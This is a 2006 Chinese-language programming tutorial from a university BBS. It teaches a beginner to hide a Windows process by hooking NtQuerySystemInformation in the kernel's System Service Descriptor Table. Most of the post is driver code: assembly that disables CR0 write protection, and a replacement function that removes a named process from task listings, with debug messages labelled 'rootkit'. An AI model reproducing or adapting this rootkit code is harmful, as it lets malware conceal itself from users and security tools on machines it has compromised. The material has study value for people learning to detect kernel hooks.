珞珈山水BBS电脑网络程序人生 → 单文区文章阅读

单文区文章阅读 [返回]
发信人: Stravadivaly (老子就是机器人), 信区: Programm
标  题: [原创]伪驱动初级教程3
发信站: BBS 珞珈山水站 (Fri Sep  1 13:56:30 2006)

                                伪驱动初级教程3
By Stravadivaly
    好了,现在你是不是觉得驱动很没用?是不是觉得它就是一好吃懒做的家伙?这次我
们来点刺激的:利用HOOK NtQuerySystemInformation 来隐藏进程。到不是方法很刺激,
这个是很老式隐藏的办法,以至于很多****软件都不用这个。那什么很刺激呢?当然是BS
OD了@$#%#%&#%$&……

1.怎么隐藏:
    我们怎么来隐藏进程呢?Windows的任务管理器都是利用NtQuerySystemInformation来
枚举进程的。(不会用NtQuerySystemInformation?网上这样的文章很多,搜搜。)只要
我们在 NtQuerySystemInformation得到的结果中去掉我们要隐藏的进程,再把结果返回
给用户不就行了?怎么干?先来点基础。

2.基础知识——函数调用
    所有的Nt* 和 Zw* 都是在内核中实现,而连接内核与用户空间的就是NtDll.Dll.

函数真正实现并不在NtDll.Dll中,而在ntoskrnl.exe中。NtQuerySystemInformation也不
例外。
    那么NTDLL.dll干些什么呢? Win32内核API(NtQuerySystemInformation就是内核API
)经过Kernel32.dll/advapi32.dll进入NTDLL.dll后使用int 0x2e中断进入内核(WIN
2K),最后在Ntoskrnl.exe中实现了真正的函数调用。

有点迷糊?看看下面的调用关系:
           Ntdll.dll中是这样的 
 
                       mov eax, ServiceId        //eax存放服务号
                       lea edx, ParameterTable   //edx中存放函数参数
                       int 2eh                   //中断,进入内核
                       ret ParamTableBytes     
用户空间                                                                    
—————————————————————————————————————
内核空间
                       系统服务描述表
                             |
                        ntoskrnl.exe 

3.基础知识——系统服务描述表(SSDT, System Service Descriptor Table)
    好像也有人把这个叫系统服务调度表(System Service Dispatch Table),或者SDT
.注意不要把这里的服务和控制控制面版的服务弄混,是两个概念.它是个什么东西呢?它是
个好东西。我们隐藏文件,隐藏注册表项都可以通过修改它的函数地址来达到目的。一个
SDT在内存中是以这样的结构存放的:
  Typedef  struct  _SYSTEM_SERVICE_TABLE{
                SYSTEM_SERVICE_TABLE ntoskrnl;//我们关心的
                SYSTEM_SERVICE_TABLE win32; //其它的调用
                SYSTEM_SERVICE_TABLE table3;//一般不用
                SYSTEM_SERVICE_TABLE table4;//一般不用
}SYSTEM_DESCRIPTOR_TABLE,*PSYSTEM_DESCRIPTOR_TABLE;
    
    typedef struct SYSTEM_SERVICE_TABLE {
                unsigned int *ServiceTableBase;  //服务描述表
                unsigned int *ServiceCounterTableBase;
                unsigned int NumberOfServices; //服务个数
                unsigned char *ParamTableBase; //参数表
} SystemServiceTable_t, *PSystemServiceTable_t;

第一个结构的第一项是一个指针,他指向第二个结构。XP系统中有0x11c个第二个结构,也
就是说有0x11c个调用服务,每个服务其实就对应一个内核API, 而且ntoskrnl.exe中导出的
KeServiceDescriptorTable 是一个指向SYSTEM_SERVICE_TABLE的全局变量(指针), 因
而,用KeServiceDescriptorTable. ServiceTableBase可以获得服务号为0x01的函数地址
。KeServiceDescriptorTable. ServiceTableBase[i]就是第i-1个函数地址了。

3.从SDT中取得函数地址:
  我们利用SYSCALL. SYSCALL在intel平台是如下定义的:
    #define SYSCALL(_function) KeServiceDescriptorTable->Servic
eTable[ *(PULONG)((PUCHAR)_function+1)] 
    KeServiceDescriptorTableServiceTable->ServiceTable就是我们上
面所述的 ServiceDescriptorTable_t->ServiceTableBase(为了便于描述)。_function+1
即ServiceID所在地址。整个表达式即取得_function对应的System Service的入口地址在
线性内存中的位置。

  所以说,只要我们在SDT 中把NtQuerySystemInformation的地址改成我们的函数地址
,我们不就可以在我们的函数中处理我们需要的信息了?没那么简单,我们继续...

4.基础知识——修改内核
    好像也可以叫做直接内核模式修改(DKOM),我们要修改的就是SDT,但是因为有处理
器写保护,直接写入的话会BSOD,有兴趣的朋友可以试下。我们怎么办呢?当然是修改写
标志位了。下面是修改代码:
__asm{ 
        mov eax,cr0 
        mov OldCr0,eax 
        and eax,0fffeffffh 
        mov cr0,eax 
    }
我们都是好孩子,做了坏事痕迹是要擦干净的,所以,修改了SDT之后, 要把写标志位改
回来:
__asm 
    { 
        mov eax,OldCr0 
        mov cr0,eax 
    }
    gHookFlag = TRUE;
    return;

5.开始手术
    怎么是手术?其实这就是手术,下面是关键代码:
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
    unsigned int *ServiceTableBase;
    unsigned int *ServiceCounterTableBase; //Used only in checked build
    unsigned int NumberOfServices;
    unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

//声明全局变量,它是ntoskrnl中的导出变量
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;


//这个就是根据服务号查找函数地址的宏
#define SYSTEM_SERVICE(p) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)(
(ULONG)p+1)]

//声明ZwQuerySystemInformation函数原形
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS S
IClass,OUT PVOID SI,IN ULONG SIL,OUT PULONG RL);

//定义函数指针
typedef NTSTATUS (*ZW_QUERY_SYSTEM_INFORMATION)(IN SYSTEM_INFORMATION_CLASS SI
Class,OUT PVOID SI,IN ULONG SIL,OUT PULONG RL);

ZW_QUERY_SYSTEM_INFORMATION OldZwQuerySystemInformation;//用来存放真正的地址,
叛徒都是有用的。

int gHookFlag = FALSE; //设置HOOK标志,避免重复HOOK
//我们的替换函数
NTSTATUS NewZwQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SIClass,OUT P
VOID SI,IN ULONG SIL,OUT PULONG RL)
{
    NTSTATUS nStatus = STATUS_SUCCESS;
    int c=0,i=0,bMod;
    PVOID pBuffer = NULL;
    PVOID hBuffer;
    HANDLE hProcess;
    ANSI_STRING process_name;
    PSYSTEM_PROCESS_INFORMATION curr,prev;

    nStatus = OldZwQuerySystemInformation(SIClass,SI,SIL,RL); //当然了,我们要
在我们的替换函数中调用真实的函数,不然,任务管理器就什么进程都显示不了了,而且
很可能BSOD,我们处理的就是它返回的信息.
  //好了下面就是找出我们要隐藏的进程了  
    if(NT_SUCCESS(nStatus)){
        if( 5 == SIClass )
        {
            curr = (SYSTEM_PROCESS_INFORMATION *)SI;
            prev = NULL;
            KdPrint(("rootkit: NewZwQuerySystemInformation()"));
            while(curr)
            {    
                bMod = FALSE;
                RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessNa
me), TRUE);
               
                if(0 == memcmp( process_name.Buffer, "TestNtQuery.exe", 15))
                {
                    KdPrint(("rootkit: hiding process, pid: %d\tname:%s\r\n",c
urr->ProcessId, process_name.Buffer));
                    if(prev)//如果我们不是第一个进程
                    {
                        if(curr->NextEntryDelta)//也不是最后一个进程
                        {
                            //隐藏
                            prev->NextEntryDelta += curr->NextEntryDelta;
                            bMod = TRUE; //修改成功标志
                        }
                        else
                        {
                           prev->NextEntryDelta = 0;
                        }
                    }
                    else
                    {
                        if(curr->NextEntryDelta)
                        {
                            (char *)SI += curr->NextEntryDelta;
                        }
                        else
                        {
                           SI = NULL;
                        }
                    }
                }
                RtlFreeAnsiString(&process_name);
                prev = curr;
                if(curr->NextEntryDelta)//向前进
                    ((char *)curr += curr->NextEntryDelta);
                else 
                    curr = NULL;

             }//end of while
        }//end of if
    }//end of if nStatus
    KdPrint(("Now The ZwQuerySystemInformation Have Been Hook.\n"));
    return nStatus;
}
//开始HOOK
void HookUp(void){
    ULONG OldCr0;
     
    if(gHookFlag == TRUE){
       KdPrint(("The Hook Has Been On!\n"));
        return;
    }
     __asm{ 
        mov eax,cr0 
        mov OldCr0,eax 
        and eax,0fffeffffh 
        mov cr0,eax 
    } 
     OldZwQuerySystemInformation=(ZW_QUERY_SYSTEM_INFORMATION)InterlockedExcha
nge((PLONG)&SYSTEM_SERVICE(ZwQuerySystemInformation),(ULONG)NewZwQuerySystemIn
formation);//用关键代码,防止打断,保存原始函数地址
     __asm 
    { 
        mov eax,OldCr0 
        mov cr0,eax 
    }
    gHookFlag = TRUE;
    return;
}

//还原,如果不还原的话...你可以试试,我们要有不怕BSOD的精神
void HookDown(void){
    ULONG OldCr0;
    
    if(!gHookFlag){
        KdPrint(("There is No Hook to Unload.\n"));
    }

    __asm{ 
        mov eax,cr0 
        mov OldCr0,eax 
        and eax,0fffeffffh 
        mov cr0,eax 
    } 

    InterlockedExchange((PLONG)&SYSTEM_SERVICE(ZwQuerySystemInformation),(ULON
G)OldZwQuerySystemInformation);

    __asm 
    { 
        mov eax,OldCr0 
        mov cr0,eax 
    }
}
--
是吗? 不是吗?  对吗? 不对吗? 傻吗?   ......   的确很傻.  就像" 树动风欲静, 日涌大山流".

※ 来源:·珞珈山水BBS站 http://bbs.whu.edu.cn·[FROM: 218.247.215.*]
[返回单文区目录]

武汉大学BBS 珞珈山水站 All rights reserved.
wForum , 页面执行时间:16.040毫秒